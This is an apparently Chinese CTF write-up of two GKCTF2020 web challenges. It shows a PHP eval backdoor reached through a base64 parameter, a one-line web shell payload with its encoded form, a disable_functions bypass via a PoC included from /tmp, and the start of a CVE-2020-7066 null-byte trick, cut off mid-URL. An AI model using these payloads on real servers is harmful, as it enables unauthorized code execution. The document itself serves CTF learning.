[GKCTF2020]CheckIN
解题思路
打开直接是源码:
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
直接是代码执行,没有过滤,只是base64编码了ginkgo传入的参数.那么我们直接蚁剑连接shell.
eval($_POST["pass"]);
ZXZhbCgkX1BPU1RbInBhc3MiXSk7
正好与我前面的一篇博客相类似:
看到根目录下有flag和readflag文件,同时flag文件为空,readflag文件为二进制执行文件。打开虚拟终端无权限使用/readflag
php-gc-bypass
pwn("/readflag");
把poc放在/tmp目录中(一般都可写入文件),访问include("/tmp/123.php");,使用Ginkgo传参访问,即可获得flag
知识点
php_bypass_disable_functions
[GKCTF2020]cve版签到
解题思路
有hint:cve-2020-7066,就是不知道是刚开始就有的,还是后面放出来的,如果不知道这个CVE可能会卡着。
题目描述You just view *.ctfhub.com。结合cve可知,get_headers()函数存在漏洞,使用%00即可截断,上面网页中也有例子。"http://localhost